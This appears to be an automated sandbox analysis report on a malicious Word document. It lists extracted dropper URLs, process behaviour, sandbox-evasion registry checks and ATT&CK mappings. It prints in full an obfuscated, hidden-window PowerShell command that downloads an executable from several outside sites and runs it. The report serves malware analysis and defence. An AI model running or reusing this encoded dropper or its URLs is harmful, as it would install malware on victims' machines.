19238030bfa5e60aab5222bad91f9bf06e4c9d1f8504f9d8ac409d9370e291d0

General

Target

19238030bfa5e60aab5222bad91f9bf06e4c9d1f8504f9d8ac409d9370e291d0.doc
Sample

200127-j8j9x8y89s
SHA256

19238030bfa5e60aab5222bad91f9bf06e4c9d1f8504f9d8ac409d9370e291d0

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://yochina.apps.zeroek.com/assets/GQK9Gly/

exe.dropper

http://www.bandarwinsbobet.com/wp-admin/7bw/

exe.dropper

http://test.pakspaservices.com/wp-content/Yi1j6O7/

exe.dropper

http://portal.meucompromisso.com/wp-admin/kQJ/

exe.dropper

https://wondersofgeorgia.com/wp-admin/jv7hvg/

Signatures

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

WINWORD.EXE

pid process

4984 WINWORD.EXE

pid	process
4984	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4604	5084	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 4604 Powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

Powershell.exe

pid process

4604 Powershell.exe

description	pid	process
Token: SeDebugPrivilege	4604	Powershell.exe

pid	process
4604	Powershell.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

4984 WINWORD.EXE

pid	process
4984	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\19238030bfa5e60aab5222bad91f9bf06e4c9d1f8504f9d8ac409d9370e291d0.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
PID:4984

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABDAHQAZABoAHcAdAB0AHIAPQAnAFkAcQBiAHQAeQBxAHIAcgB3AGoAcAB6ACcAOwAkAFcAcABsAHQAdAB2AHgAYwB5AGwAawAgAD0AIAAnADgANQA4ACcAOwAkAEsAYQB1AHIAdAB4AGgAZwBvAHMAPQAnAEUAbAB2AGEAdwBoAHcAbgBkAHIAYwAnADsAJABTAHUAcgBpAHIAeABxAHYAawB0AG0AaABvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABXAHAAbAB0AHQAdgB4AGMAeQBsAGsAKwAnAC4AZQB4AGUAJwA7ACQARwB0AG4AaABtAGQAeAByAHgAbQA9ACcAWgB2AHcAcQBqAG0AYgBoAGEAbgBnAGEAagAnADsAJABCAGgAawBrAGcAbQBjAGsAdgB1AGUAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBlAEIAYwBsAGkARQBuAHQAOwAkAEEAbABhAHAAbABsAGYAYgBxAD0AJwBoAHQAdABwADoALwAvAHkAbwBjAGgAaQBuAGEALgBhAHAAcABzAC4AegBlAHIAbwBlAGsALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8ARwBRAEsAOQBHAGwAeQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGIAYQBuAGQAYQByAHcAaQBuAHMAYgBvAGIAZQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA3AGIAdwAvACoAaAB0AHQAcAA6AC8ALwB0AGUAcwB0AC4AcABhAGsAcwBwAGEAcwBlAHIAdgBpAGMAZQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AWQBpADEAagA2AE8ANwAvACoAaAB0AHQAcAA6AC8ALwBwAG8AcgB0AGEAbAAuAG0AZQB1AGMAbwBtAHAAcgBvAG0AaQBzAHMAbwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AawBRAEoALwAqAGgAdAB0AHAAcwA6AC8ALwB3AG8AbgBkAGUAcgBzAG8AZgBnAGUAbwByAGcAaQBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAHYANwBoAHYAZwAvACcALgAiAHMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQB5AGcAcwB5AHYAZwBuAGQAdAB6AGMAPQAnAFoAZwB5AGQAYgB3AG0AegB3AHQAZgBiACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAGkAawBlAHkAbABkAGMAdgBsAHgAZAAgAGkAbgAgACQAQQBsAGEAcABsAGwAZgBiAHEAKQB7AHQAcgB5AHsAJABCAGgAawBrAGcAbQBjAGsAdgB1AGUALgAiAGQATwBgAFcAbgBgAGwAYABvAGEARABGAEkAbABlACIAKAAkAE8AaQBrAGUAeQBsAGQAYwB2AGwAeABkACwAIAAkAFMAdQByAGkAcgB4AHEAdgBrAHQAbQBoAG8AKQA7ACQAUwBuAG4AeABzAGwAeABzAHIAdAA9ACcAUwBpAHQAeABrAGsAbQBuACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUwB1AHIAaQByAHgAcQB2AGsAdABtAGgAbwApAC4AIgBMAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADIAMAA4ADgAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAGAAVABhAHIAdAAiACgAJABTAHUAcgBpAHIAeABxAHYAawB0AG0AaABvACkAOwAkAFgAaAB3AGYAYQBjAG0AbgB4AD0AJwBVAHAAZwBiAGoAZAB3AGcAcABmAGoAeQBlACcAOwBiAHIAZQBhAGsAOwAkAFoAagB1AHAAZQBqAG0AZwBwAD0AJwBHAHcAcQBmAGcAdwBiAHcAbgBlAHEAagBhACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAcgBjAG4AagBzAGIAdQBkAGQAcwA9ACcATABpAGkAcQBsAG4AdwB6AHEAagB5AG0AdwAnAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4604

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads